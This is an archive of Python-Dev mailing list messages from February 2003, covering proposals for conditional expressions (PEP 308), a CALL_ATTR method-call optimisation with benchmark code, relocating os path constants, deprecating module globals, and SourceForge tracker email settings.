In-Reply-To: <200302132241.h1DMfhE20063@odiug.zope.com>
References: <15948.4843.672889.97600@montanaro.dyndns.org>
 <200302132241.h1DMfhE20063@odiug.zope.com>
Message-ID: <15948.37296.363252.684837@montanaro.dyndns.org>

    >> Proposal: Move the definitions of curdir, pardir, sep, pathsep and
    >> defpath into the relevant path module (ntpath, posixpath, etc), then
    >> for compatibility reimport them ("from path import curdir, pardir,
    >> sep, pathsep, defpath") later in os.py.

    Guido> Yes.

Patch is at: http://python.org/sf/686397

I initially assigned it to Andrew MacIntyre because the os/2 stuff seemed
the most complex (the rest was straightforward), and I have no way to test
there.

Skip


From mal@lemburg.com  Fri Feb 14 08:13:19 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 14 Feb 2003 09:13:19 +0100
Subject: [Python-Dev] Changing SF tracker email preferences
In-Reply-To: <200302131838.h1DIcn101322@odiug.zope.com>
References: <200302131752.h1DHqCi00785@odiug.zope.com>              <u1f83uv9.fsf@python.net> <200302131838.h1DIcn101322@odiug.zope.com>
Message-ID: <3E4CA51F.6070306@lemburg.com>

Guido van Rossum wrote:
>>>The SF tracker admin has an option to allow this: all I have to do is
>>>uncheck the box that says "Send email on all changes".  I would really
>>>like to do this.
>>>
>>>Would anybody who is currently receiving bugs or patches traffic be
>>>bothered if I made this change?
>>
>>I find it sometimes interesting to receive these mails and read the
>>comments which are posted, I cannot decide from the item description
>>if I'm interested in this item or not.
> 
> Hm...  If you're the only one I'm inclined to overrule you. :-)

You can have my -1 if that helps in deciding. If you personally
don't like to receive these extra mails, I'm sure you can configure
your mail program to filter these out, e.g. by matching on
"> Comment By:".

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 14 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     46 days left
EuroPython 2003, Charleroi, Belgium:                       130 days left



From just@letterror.com  Fri Feb 14 09:23:27 2003
From: just@letterror.com (Just van Rossum)
Date: Fri, 14 Feb 2003 10:23:27 +0100
Subject: [Python-Dev] Re: [Python-checkins] python/nondist/peps pep-0311.txt,NONE,1.1
In-Reply-To: <E18jX4u-0006As-00@sc8-pr-cvs1.sourceforge.net>
Message-ID: <r01050400-1023-005BB3463FFE11D7A290003065D5E7E4@[10.0.0.23]>

mhammond@users.sourceforge.net wrote:

> Open Issues
>     This is where I note comments from people that are yet to be
resolved.
>     - JustvR prefers a PyGIL prefix over PyAutoThreadState.
>     - JackJ notes that the "Auto" prefix will look a little silly
>       in a few years, assuming this becomes the standard way of
>       managing the lock.  He doesn't really like Just's "GIL", and
>       suggested "PyIntLock"

Oh, so now we're locking integers? ;-)

The reason I don't like "Auto" is that there's nothing automatic going
on: you still have to _use_ the API actively...

My opinion is biased because very recently I wrote a module called
"autoGIL" for OSX, which actually _does_ handle the GIL automatically,
in the context of event loops: it releases the GIL when the event loop
goes to sleep and acquires it when it wakes up again. This works for us
as the even loop is not supposed to use blocking calls to begin with.
Handling the GIL the "proper" way in this project (PyObjC) would be
impossible without PEP 311, but even with it, it will be an huge amount
of work.

I like PyGIL for the prefix as "GIL" is a well understood acronym; you
can't really discuss the issues without using it... But it's totally
your call.

Just


From gherron@islandtraining.com  Fri Feb 14 10:06:11 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Fri, 14 Feb 2003 02:06:11 -0800
Subject: [Python-Dev] PEP 308: "then" "else" for deprecating "and" "or" side effects
In-Reply-To: <3E4C5FBD.2070309@tismer.com>
References: <3E4C5FBD.2070309@tismer.com>
Message-ID: <200302140206.11838.gherron@islandtraining.com>

On Thursday 13 February 2003 07:17 pm, Christian Tismer wrote:
> Dear community,
>
> there has been some favor of my silly/simple a then b else c proposal.
>
> Please let me elaborate a little on this, with respect
> to the existing "and" and "or operators.


I read the following with interest, and started considering some
implications.  My conclusions follow at the end.

> "and" and "or" are two-headed beasts:
> At first glance, they pretend to be logical operators.
> At second inspection, they do this logic by promoting
> one of their operands.
>
> This is not obviously bad, and it is consistant with the logic.
>
> Due to the presence of a real boolean type, we
> should ask ourselves if "and" and "or" shouldn't be
> deprecated in their current meaning, towards being
> "boolean only"?
> I think it would be nicer if "and" and "or" would only
> produce true or false. But this would break lots of code.
> Therefore, I propose to keep them as they are, but to deprecate
> using them to carry their operand values instead of a true truth
> value.
>
> This would be still allowed, but there are new, more explicit
> operators, which should be used instead for new Python code:
>
> The binary operators "then" and "else".
> The ternary operator "then else".
> For a clear definition, see the function
> definitions below.
>
> Example: Parameter cleanup.
> Parameters are often massaged like this:
> "or" case:
>
>      arg = arg or "Default"
>
> The meaning of this phrase is:
> "If the user has provided no argument value that is
> true (non-empty or not 0 most of the time), then provide
> some default value".
>
>      arg = arg then arg else "Default"
>
> would be the verbose ternary replacement of this.
> A short replacement would read better:
>
>      arg = arg else "Default"
>
> which means "If arg is false, replace it by 'Default'".
>
> "and" case:
>
>      arg = arg and 42
>
> The meaning of this phrase is:
> "If the user provided any argument that is true, use some
> default value".
>
>      arg = arg then 42 else arg
>
> would be the verbose replacement of this.
> A short replacement would read better:
>
>      arg = arg then 42
>
> Summary:
> --------
> "and" and "or" are behaving like logical operators.
> They happen to do this by not providing a plain
> truth value, but by promoting one of their operands.
>
> "and" and "or" are valid operators, when used in a
> logical context, only, meaning only to use the truth
> value. They have the side effect of carrying an operand,
> which I regard as a design flaw, but this is bearable
> when used properly.
>
> Using "and" and "or", when they are meant as "then" or "else"
> should be deprectaed as bad style in the long term.
>
> Almost all instances of "and" and "or" used to carry a value
> can be replaced by "then" or "else" with ease, which makes the
> resulting code much more readable without prior knowledge.
>
> "and" and "or" do have a builtin perception of symmetry,
> which is not related to the truth, and hard to explain to
> newcomers.
> Therefore, I propose to deprecate their use to promote
> a value, and I propose to introduce "then" and "else"
> as dual operators, together with the "then else" pair
> as ternary operator, to be used in any context where
> the inquiry should promote the right operand without
> evaluating its truth value.
>
> Definition:
> -----------
>
> Here is my "cure" to "and" and "or" with side-effects:
>
>      a then b
>      --------
>
> is equivalent to
>
>      def then_proc(a, b):
>          if a:
>               return b
>          else:
>               return a
>
>      a else b
>      --------
>
> is equivalent to
>
>      def else_proc(a, b):
>          if a:
>               return a
>          else:
>               return b
>
>      a then b else c
>      ---------------
>
> is equivalent to
>
>      def then_else_proc(a, b, c):
>          if a:
>              return b
>          else:
>              return c
>
> "and" and "or" should be replaced by the above constructs,
> in all contexts where "and" and "or" are not pure logical,
> but are meant to propagate specific values, for all new code.
>
> kind regards -- chris
>
> p.s.: Please correct me positively, if I made a mistake at 4:15am

The above defines two binary operators "then" and "else" and a ternary
operator "then...else".  The question which occurred to me is: Since
the ternary operator is formed by what looks like two binary
operators, can the action of the ternary operator be defined in terms
of the actions of the two binary operators.  In other words, does the
expression:

  a then b else c         # the ternary operator

evaluate as either

  a then (b else c)       # two binary operators

or

  (a then b) else c       # two binary operators

The answer is *NO*, all three expressions evaluate to different
results.  More on that below.  

Now we are used to disambiguating expressions with multiple binary
operators by considering the precedence and (left or right)
associativity of the operators involved.  That is (a-b-c) evaluates as
(a-b)-c and (a+b*c) evaluates as a+(b*c).  However, in this
"then...else" expression, something which looks like (and could be
legitimately parsed as) two binary operations, in fact cannot be
disambiguated by either application of parentheses and must be treated
as a ternary operator.  

That in itself is bad enough, but to be a complete definition of these
operators, one must now define how, in a sequence of "then"s and
"else's, the parser can tease out which form ternary "then...else"
operators, and how those ternary "then...else" portions fit
(precedence wise and associativity wise) with the other ternary
"then...else"s and any remaining binary "then"s and "else"s.  These
rules, whatever thay may turn out to be, would probably be more
complex than I'd like to see in Python.

Here is a truth table for the three expressions.  The table not only
tells the truth value of the result, but shows, in parentheses,
*which* term is returned to express that truth value.  Note that the
three columns R, S, and T all differ for at least some set if input
values.

 a   b   c      R      S      T
---------------------------------
 F   F   F     F(c)   F(a)   F(c)
 F   F   T     T(c)   F(a)   T(c)
 F   T   F     F(c)   F(a)   F(c)
 F   T   T     T(c)   F(a)   T(c)
 T   F   F     F(b)   F(c)   F(c)
 T   F   T     F(b)   T(c)   T(c)
 T   T   F     T(b)   T(b)   T(b)
 T   T   T     T(b)   T(b)   T(b)

where

  R -> (a then b else c)
  S -> a then (b else c)
  T -> (a then b) else c

Dr. Gary Herron
gherron@islandtraining.com



From mal@lemburg.com  Fri Feb 14 10:07:56 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 14 Feb 2003 11:07:56 +0100
Subject: [Python-Dev] PEP 308: "then" "else" for deprecating "and" "or"
 side	effects
In-Reply-To: <3E4C5FBD.2070309@tismer.com>
References: <3E4C5FBD.2070309@tismer.com>
Message-ID: <3E4CBFFC.5090506@lemburg.com>

Christian Tismer wrote:
> Dear community,
> 
> there has been some favor of my silly/simple a then b else c proposal.
> 
> Please let me elaborate a little on this, with respect
> to the existing "and" and "or operators.
> 
> "and" and "or" are two-headed beasts:
> At first glance, they pretend to be logical operators.
> At second inspection, they do this logic by promoting
> one of their operands.
> 
> This is not obviously bad, and it is consistant with the logic.
> 
> Due to the presence of a real boolean type, we
> should ask ourselves if "and" and "or" shouldn't be
> deprecated in their current meaning, towards being
> "boolean only"?

You are forgetting a detail here: "and" as well as "or"
are not implemented as operators. "&" and "|" are the
boolean operators and these do return boolean values.

Note that you can't do "true" | "false" and then get "true"
as result. What you get is a TypeError.

"and" and "or" are control structures which test for
truth values and then branch accordingly, leaving
the true result on the stack.

Constructs misusing "and" and "or" for the sake of
inlining if-then-else should be reserved for those
who know what they're doing (and can live with the
consequences). Everybody else should really stick to
the explicit:

# value = x ? a : b
if x:
    value = a
else:
    value = b

This is clean, shows exactly what you're doing and doesn't
hide the flow of control from the reader: value = a is only
executed in case x is found true. In that case the value = b
branch is never entered into. As a result, side-effects
in the value = b branch do not take effect.

--

The tendency to let inling features creep into the language
makes me a little nervous. The simplicity of Python is
losing big with each new way to put more information
on one line. This can be compared to lossy compression
of an image: you can still grasp the general picture, but
the details become unsharp and distored.

Complexity should be reserved to what you write, not
how you write it.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 14 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     46 days left
EuroPython 2003, Charleroi, Belgium:                       130 days left



From mwh@python.net  Fri Feb 14 11:04:27 2003
From: mwh@python.net (Michael Hudson)
Date: Fri, 14 Feb 2003 11:04:27 +0000
Subject: [Python-Dev] Changing SF tracker email preferences
In-Reply-To: <200302131752.h1DHqCi00785@odiug.zope.com> (Guido van Rossum's
 message of "Thu, 13 Feb 2003 12:52:12 -0500")
References: <200302131752.h1DHqCi00785@odiug.zope.com>
Message-ID: <2mwuk3i0n8.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

> When a new bug or patch is posted to a SF tracker, an email gets sent
> to python-bugs-list@python.org or patches@python.org.

> The SF tracker admin has an option to allow this: all I have to do is
> uncheck the box that says "Send email on all changes".  I would really
> like to do this.

Is it possible to send updates to a different address than the notes
of new bugs?  Possibly with a bit of mailman wizardry?

> Would anybody who is currently receiving bugs or patches traffic be
> bothered if I made this change?

Yes, for the same reasons as Tim.

Cheers,
M.

-- 
  > Look I don't know.  Thankyou everyone for arguing me round in
  > circles.
  No need for thanks, ma'am; that's what we're here for.
                                    -- LNR & Michael M Mason, cam.misc


From mwh@python.net  Fri Feb 14 11:11:03 2003
From: mwh@python.net (Michael Hudson)
Date: Fri, 14 Feb 2003 11:11:03 +0000
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: <GBEGLOMMCLDACBPKDIHFOENLDCAA.gsw@agere.com> ("Gerald S.
 Williams"'s message of "Thu, 13 Feb 2003 17:40:29 -0500")
References: <GBEGLOMMCLDACBPKDIHFOENLDCAA.gsw@agere.com>
Message-ID: <2mu1f7i0c8.fsf@starship.python.net>

"Gerald S. Williams" <gsw@agere.com> writes:

>> I guess:
>> Py_AUTO_THREAD_STATE_DECLARE
>> Py_AUTO_THREAD_STATE_ENSURE
>> Py_AUTO_THREAD_STATE_RELEASE
>> 
>> would work.
>
> If you need the declaration, I'd vote for making it
> explicit. I only suggested the macro for consistency
> with what's been done before.

What about no-thread builds?  Or are these macros not for use in the
core?

[Tim]
> Pragmatic company likes it: the braces make it very likely you'll
> get cascades of baffling compile-time errors if you don't use the
> BEGIN/END macros in matched pairs.  That's better than cascades of
> baffling runtime errors.

At one point I had a patch up on sf that went

if (something) Py_BEGIN_ALLOW_THREADS
ioctl(stuff);
if (something) Py_END_ALLOW_THREADS

It compiled, at least.

gotta-love-the-C-preprocessor-ly y'rs
M.

-- 
  First time I've gotten a programming job that required a drug
  test.  I was worried they were going to say "you don't have
  enough LSD in your system to do Unix programming".   -- Paul Tomblin
               -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html


From mwh@python.net  Fri Feb 14 11:13:25 2003
From: mwh@python.net (Michael Hudson)
Date: Fri, 14 Feb 2003 11:13:25 +0000
Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from
 relevant *path module
In-Reply-To: <15948.4843.672889.97600@montanaro.dyndns.org> (Skip
 Montanaro's message of "Thu, 13 Feb 2003 15:49:31 -0600")
References: <15948.4843.672889.97600@montanaro.dyndns.org>
Message-ID: <2mr8abi08a.fsf@starship.python.net>

Skip Montanaro <skip@pobox.com> writes:

> Proposal: Move the definitions of curdir, pardir, sep, pathsep and defpath
> into the relevant path module (ntpath, posixpath, etc), then for
> compatibility reimport them ("from path import curdir, pardir, sep, pathsep,
> defpath") later in os.py.  Update the libref documentation to reflect these
> items' new home.  Do whatever is necessary deprecation-wise (silent in 2.3?
> Update usage in Python source after 2.3 release and add visible deprecation
> in 2.4?).

I know Guido's squashed the idea, but how would you issue a warning on
use of a module level global?

Cheers,
M.

-- 
  This makes it possible to pass complex object hierarchies to
  a C coder who thinks computer science has made no worthwhile
  advancements since the invention of the pointer.
                                       -- Gordon McMillan, 30 Jul 1998


From glyph@twistedmatrix.com  Fri Feb 14 12:02:42 2003
From: glyph@twistedmatrix.com (Glyph Lefkowitz)
Date: Fri, 14 Feb 2003 06:02:42 -0600 (CST)
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
Message-ID: <20030214.060242.98857672.glyph@twistedmatrix.com>

----Security_Multipart0(Fri_Feb_14_06:02:42_2003_652)--
Content-Type: Multipart/Mixed;
 boundary="--Next_Part(Fri_Feb_14_06:02:42_2003_595)--"
Content-Transfer-Encoding: 7bit

----Next_Part(Fri_Feb_14_06:02:42_2003_595)--
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


I have an idea that may result in significant optimization of python.  However,
I have an incomplete understanding of what's involved, and I haven't had enough
time to puzzle out enough of Python's internals to write up a full PEP
describing this.

Method calls appear are a full 20% slower (simple benchmark included) than
function calls, and Python function calls are already pretty slow.  By my
understanding, one of the reasons for the difference is that if you have a
method call like this:

    a = A()
    a.b()

what's really happening is something along the lines of:

    temp = new.instancemethod(getattr(a.__class__, "b"), a, A)
    temp()
    free(temp)

This causes an unnecessary memory allocation: since the instancemethod object
is immediately being created, then called, then garbage collected.  Looking at
the output of dis.dis, I can see there are also 3 bytecodes being evaluated
rather than 1.

My proposal is to treat method calls as syntactically different from function
calls.  Rather than x.y() being completely synonymous with getattr(x, "y")(),
it could be analogous to 'x.y = z' or 'del x.y'.  For symmetry with these
statement types, the new bytecode could be called CALL_ATTR.

I think this is an important thing to consider as systems like Zope and Twisted
move towards using component models and Interfaces in Python.  The fact that
direct function calls are so much faster puts efficiency directly at odds with
structured flexibility.  With a method call primitive comparable to function
calls, most python code, especially in systems that make heavy use of
inter-object communication patterns, would immediately get as much as a 15%
speed boost.

CALL_ATTR should be implementable with no impact on existing python code,
except bytecode hacks.  It should be possible to retain a fully
backwards-compatible __getattr__ method, for places where method objects are
used (including the C API).  Likewise, the default __callattr__ could be set up
to first check if __getattr__ is defined, then the instance's dictionary or
__slots__.  For additional speed gains, new-object-model classes could set
'__fast_methods__ = True' and gain a semantic distinction between __getattr__
and __callattr__.

Better still, I think that Jython could use the subtle semantic change
to make Java reflection less expensive.  (Java's `new' is more expensive than
C's `malloc', after all.)

I have a sneaking suspicion that this would also be good for security purposes.
I haven't yet come up with a specific case where this is a big deal, but I
think capability-style data-hiding would be simplified if filtering
method-calls were different from filtering attributes.

I hope this idea is useful to some of you,

-- 
 |    <`'>    |  Glyph Lefkowitz: Traveling Sorcerer   |
 |   < _/ >   |  Lead Developer,  the Twisted project  |
 |  < ___/ >  |      http://www.twistedmatrix.com      |

----Next_Part(Fri_Feb_14_06:02:42_2003_595)--
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="methods.py"

import time

class A:
    def b(self):
        pass

def b(self):
    pass

a = A()

def wallclock(f):
    then = time.time()
    f()
    now = time.time()
    elapsed = now - then
    return elapsed

NCALLS = 1000000

def methods():
    for x in xrange(NCALLS):
        a.b()

def functions():
    for x in xrange(NCALLS):
        b(a)

print wallclock(methods)
print wallclock(functions)

----Next_Part(Fri_Feb_14_06:02:42_2003_595)--
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="results.txt"

% python2.0 methods.py 
1.85362696648
1.47611200809
% python2.1 methods.py 
1.21098303795
0.972733020782
% python2.2 methods.py 
1.15857589245
0.914402961731
% jython methods.py 
63.396000027656555
51.51300001144409

----Next_Part(Fri_Feb_14_06:02:42_2003_595)----

----Security_Multipart0(Fri_Feb_14_06:02:42_2003_652)--
Content-Type: application/pgp-signature
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQA+TNrkvVGR4uSOE2wRAiwFAKCdjtbXx1yz4QN0uX4JOTsQwTQf/gCeOemO
s2R3ZfWC3R4TREI8VULt/2o=
=+8zq
-----END PGP SIGNATURE-----

----Security_Multipart0(Fri_Feb_14_06:02:42_2003_652)----


From guido@python.org  Fri Feb 14 12:13:28 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 14 Feb 2003 07:13:28 -0500
Subject: [Python-Dev] Changing SF tracker email preferences
In-Reply-To: "Your message of Fri, 14 Feb 2003 09:13:19 +0100."
 <3E4CA51F.6070306@lemburg.com>
References: <200302131752.h1DHqCi00785@odiug.zope.com>
 <u1f83uv9.fsf@python.net> <200302131838.h1DIcn101322@odiug.zope.com>
 <3E4CA51F.6070306@lemburg.com>
Message-ID: <200302141213.h1ECDS131689@pcp02138704pcs.reston01.va.comcast.net>

> >>>The SF tracker admin has an option to allow this: all I have to do is
> >>>uncheck the box that says "Send email on all changes".  I would really
> >>>like to do this.
> >>>
> >>>Would anybody who is currently receiving bugs or patches traffic be
> >>>bothered if I made this change?
> >>
> >>I find it sometimes interesting to receive these mails and read the
> >>comments which are posted, I cannot decide from the item description
> >>if I'm interested in this item or not.
> > 
> > Hm...  If you're the only one I'm inclined to overrule you. :-)
> 
> You can have my -1 if that helps in deciding.

OK, this is decided.  (Actually, Tim's -1 already killed it. :-)

> If you personally don't like to receive these extra mails, I'm sure
> you can configure your mail program to filter these out, e.g. by
> matching on "> Comment By:".

Don't make assumptions on what my mail program (or anybody's mail
program) can do.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Fri Feb 14 12:25:43 2003
From: mwh@python.net (Michael Hudson)
Date: Fri, 14 Feb 2003 12:25:43 +0000
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
In-Reply-To: <20030214.060242.98857672.glyph@twistedmatrix.com> (Glyph
 Lefkowitz's message of "Fri, 14 Feb 2003 06:02:42 -0600 (CST)")
References: <20030214.060242.98857672.glyph@twistedmatrix.com>
Message-ID: <2md6lvhwvs.fsf@starship.python.net>

Glyph Lefkowitz <glyph@twistedmatrix.com> writes:

> I have an idea that may result in significant optimization of python.  However,
> I have an incomplete understanding of what's involved, and I haven't had enough
> time to puzzle out enough of Python's internals to write up a full PEP
> describing this.

Gotta run, but: interesting!

Would be more interesting if it was implemented :-) This is a
roundabout way of saying that I don't think implementation will be
entirely straightforward/there may be easier ways to speed up method
calls.

More later.

Cheers,
M.

-- 
  Strangely enough  I saw just such a beast at  the grocery store
  last night. Starbucks sells Javachip. (It's ice cream, but that
  shouldn't be an obstacle for the Java marketing people.)
                                         -- Jeremy Hylton, 29 Apr 1997


From guido@python.org  Fri Feb 14 12:32:29 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 14 Feb 2003 07:32:29 -0500
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
In-Reply-To: "Your message of Fri, 14 Feb 2003 06:02:42 CST."
 <20030214.060242.98857672.glyph@twistedmatrix.com>
References: <20030214.060242.98857672.glyph@twistedmatrix.com>
Message-ID: <200302141232.h1ECWTu31901@pcp02138704pcs.reston01.va.comcast.net>

Yes, this has long been on my list of speed-ups.

Does anybody have time to work on it?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From theller@python.net  Fri Feb 14 12:56:16 2003
From: theller@python.net (Thomas Heller)
Date: 14 Feb 2003 13:56:16 +0100
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
In-Reply-To: <20030214.060242.98857672.glyph@twistedmatrix.com>
References: <20030214.060242.98857672.glyph@twistedmatrix.com>
Message-ID: <el6buikv.fsf@python.net>

Glyph Lefkowitz <glyph@twistedmatrix.com> writes:

> Method calls appear are a full 20% slower (simple benchmark included) than
> function calls, and Python function calls are already pretty slow.  By my
> understanding, one of the reasons for the difference is that if you have a
> method call like this:
> 
>     a = A()
>     a.b()
> 
> what's really happening is something along the lines of:
> 
>     temp = new.instancemethod(getattr(a.__class__, "b"), a, A)
>     temp()
>     free(temp)
> 
> This causes an unnecessary memory allocation: since the instancemethod object
> is immediately being created, then called, then garbage collected.  Looking at
> the output of dis.dis, I can see there are also 3 bytecodes being evaluated
> rather than 1.

Can this allocation be avoided? Ahh, by the 'atomic' implementation of
the single CALL_ATTR opcode, using a static allocated instancemethod
instead of a new one?  Is this what you have in mind?

Thomas



From bckfnn@worldonline.dk  Fri Feb 14 13:02:34 2003
From: bckfnn@worldonline.dk (Finn Bock)
Date: Fri, 14 Feb 2003 14:02:34 +0100
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
References: <20030214.060242.98857672.glyph@twistedmatrix.com>
Message-ID: <3E4CE8EA.1080608@worldonline.dk>

[Glyph Lefkowitz on __callattr__]

> CALL_ATTR should be implementable with no impact on existing python code,
> except bytecode hacks.  It should be possible to retain a fully
> backwards-compatible __getattr__ method, for places where method objects are
> used (including the C API).  Likewise, the default __callattr__ could be set up
> to first check if __getattr__ is defined, then the instance's dictionary or
> __slots__.  For additional speed gains, new-object-model classes could set
> '__fast_methods__ = True' and gain a semantic distinction between __getattr__
> and __callattr__.
> 
> Better still, I think that Jython could use the subtle semantic change
> to make Java reflection less expensive.  (Java's `new' is more expensive than
> C's `malloc', after all.)

For the record, jython already have invoke(...) (what you call 
__callattr__) and uses it to optimize certain simple method calls on 
instances. It is not currently used to optimize calls into java reflection.

Oh, as a cute aside, when I tried to run your timing program, I realized 
that the optimization had been disabled by mistake in CVS during the AST 
parse tree rewrite. Thanks for your help in pointing that out.

Without the "invoke" optimization, I get these numbers:

    2.865000009536743
    1.7020000219345093

With the optimization added, I get this:

    2.052999973297119
    1.652999997138977

regards,
finn



From skip@pobox.com  Fri Feb 14 13:44:47 2003
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 14 Feb 2003 07:44:47 -0600
Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from
 relevant *path module
In-Reply-To: <2mr8abi08a.fsf@starship.python.net>
References: <15948.4843.672889.97600@montanaro.dyndns.org>
 <2mr8abi08a.fsf@starship.python.net>
Message-ID: <15948.62159.784139.294620@montanaro.dyndns.org>

    >> Do whatever is necessary deprecation-wise (silent in 2.3?  Update
    >> usage in Python source after 2.3 release and add visible deprecation
    >> in 2.4?).

    Michael> I know Guido's squashed the idea, but how would you issue a
    Michael> warning on use of a module level global?

I have no idea.  If you can't think of a way to do it, it's probably not
possible. ;-)

Skip


From jepler@unpythonic.net  Fri Feb 14 14:16:23 2003
From: jepler@unpythonic.net (Jeff Epler)
Date: Fri, 14 Feb 2003 08:16:23 -0600
Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module
In-Reply-To: <2mr8abi08a.fsf@starship.python.net>
References: <15948.4843.672889.97600@montanaro.dyndns.org> <2mr8abi08a.fsf@starship.python.net>
Message-ID: <20030214141622.GA3765@unpythonic.net>

On Fri, Feb 14, 2003 at 11:13:25AM +0000, Michael Hudson wrote:
> I know Guido's squashed the idea, but how would you issue a warning on
> use of a module level global?

You could arrange to have a subclass of module that warns in
__getattribute__:

>>> os1 = reload(mwd).ModuleWithDeprecations('os', os, ['sep'])
<module '?' (built-in)> {}
>>> os1.path
<module 'posixpath' from '/usr/lib/python2.2/posixpath.pyc'>
>>> os1.sep
__main__:1: DeprecationWarning: os.sep is deprecated
'/'
>>> os1.__deprecated__
{'sep': '/'}
>>> 'sep' in dir(os1)
0

If ModuleWithDeprecations was coded in C, the performance impact (which
would only occur on AttributeErrors) would probably be small, and no
more than one test+branch for modules with nothing __deprecated__.


import types

import warnings

class ModuleWithDeprecations(types.ModuleType):

    def __init__(self, name, module, deprecated):
        types.ModuleType.__init__(self, name)
        print self, self.__dict__
        self.__dict__.update(module.__dict__)
        self.__deprecated__ = {}
        for item in deprecated:
            self.__deprecated__[item] = self.__dict__[item]
            del self.__dict__[item]

    def __getattribute__(self, attr):
        try:
            return types.ModuleType.__getattribute__(self, attr)
        except AttributeError:
            if attr in self.__deprecated__:
                warnings.warn("%s.%s is deprecated" % (self.__name__, attr),
                                DeprecationWarning, 2)
                return self.__deprecated__[attr]
            else:
                raise


From nas@python.ca  Fri Feb 14 14:35:29 2003
From: nas@python.ca (Neil Schemenauer)
Date: Fri, 14 Feb 2003 06:35:29 -0800
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
In-Reply-To: <200302141232.h1ECWTu31901@pcp02138704pcs.reston01.va.comcast.net>
References: <20030214.060242.98857672.glyph@twistedmatrix.com> <200302141232.h1ECWTu31901@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030214143529.GA14078@glacier.arctrix.com>

Guido van Rossum wrote:
> Yes, this has long been on my list of speed-ups.

Is this list public?

> Does anybody have time to work on it?

I'll put it on my list. :-) I've been working on implementing PEP 280
(or at least something like it).

  Neil


From pinard@iro.umontreal.ca  Fri Feb 14 14:34:27 2003
From: pinard@iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=)
Date: 14 Feb 2003 09:34:27 -0500
Subject: [Python-Dev] Re: PEP 308: "then" "else" for deprecating "and" "or" side effects
In-Reply-To: <3E4C5FBD.2070309@tismer.com>
References: <3E4C5FBD.2070309@tismer.com>
Message-ID: <oqy94jdj7w.fsf@titan.progiciels-bpi.ca>

[Christian Tismer]

> Dear community,

Nice way to salute! :-)

> there has been some favor of my silly/simple a then b else c proposal.

Not so long ago, I added a similar feature in an ad hoc language we created
for one project (French and specialised syntax, and written under pressure).
Strangely enough, it did not occur to me, before this morning, that there
was some relation with this long thread in the Python universe. :-)

If I translate the keywords of our syntax back to English, it gives:

    a when b else c

with a chainable property not requiring parentheses:

    a when b else c when d else ...

Our language is declarative (tinily functional) rather than imperative.
Yet, the above writings are not far from the original Guido suggestion.

I know I'm merely throwing yet another idea is this already overlong thread,
which I did not even attempt to read wholly.  Maybe the above has been
suggested already.  I've no intention whatsoever of pushing or defending it.

My opinion on PEP 308 is that, whatever is done or not done, the key to the
final decision should be the continued legibility of the Python language,
much more than the tiny bit of added functionality.  It just happens that
for our little language, _not_ Python, the above has been received as quite
natural and legible by the non-programmers in the project -- they used that
language heavily for providing that knowledge base the project needed.

-- 
François Pinard   http://www.iro.umontreal.ca/~pinard


From guido@python.org  Fri Feb 14 14:39:48 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 14 Feb 2003 09:39:48 -0500
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
In-Reply-To: Your message of "Fri, 14 Feb 2003 06:35:29 PST."
 <20030214143529.GA14078@glacier.arctrix.com>
References: <20030214.060242.98857672.glyph@twistedmatrix.com> <200302141232.h1ECWTu31901@pcp02138704pcs.reston01.va.comcast.net>
 <20030214143529.GA14078@glacier.arctrix.com>
Message-ID: <200302141439.h1EEdmZ21258@odiug.zope.com>

> Guido van Rossum wrote:
> > Yes, this has long been on my list of speed-ups.

[Neil]
> > Does anybody have time to work on it?

No, you'd have to disassemble my brain and decode the connections
between neurons...

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Fri Feb 14 14:56:50 2003
From: mwh@python.net (Michael Hudson)
Date: Fri, 14 Feb 2003 14:56:50 +0000
Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from
 relevant *path module
In-Reply-To: <20030214141622.GA3765@unpythonic.net> (Jeff Epler's message of
 "Fri, 14 Feb 2003 08:16:23 -0600")
References: <15948.4843.672889.97600@montanaro.dyndns.org>
 <2mr8abi08a.fsf@starship.python.net>
 <20030214141622.GA3765@unpythonic.net>
Message-ID: <2madgyj4gd.fsf@starship.python.net>

Jeff Epler <jepler@unpythonic.net> writes:

> On Fri, Feb 14, 2003 at 11:13:25AM +0000, Michael Hudson wrote:
>> I know Guido's squashed the idea, but how would you issue a warning on
>> use of a module level global?
>
> You could arrange to have a subclass of module that warns in
> __getattribute__:

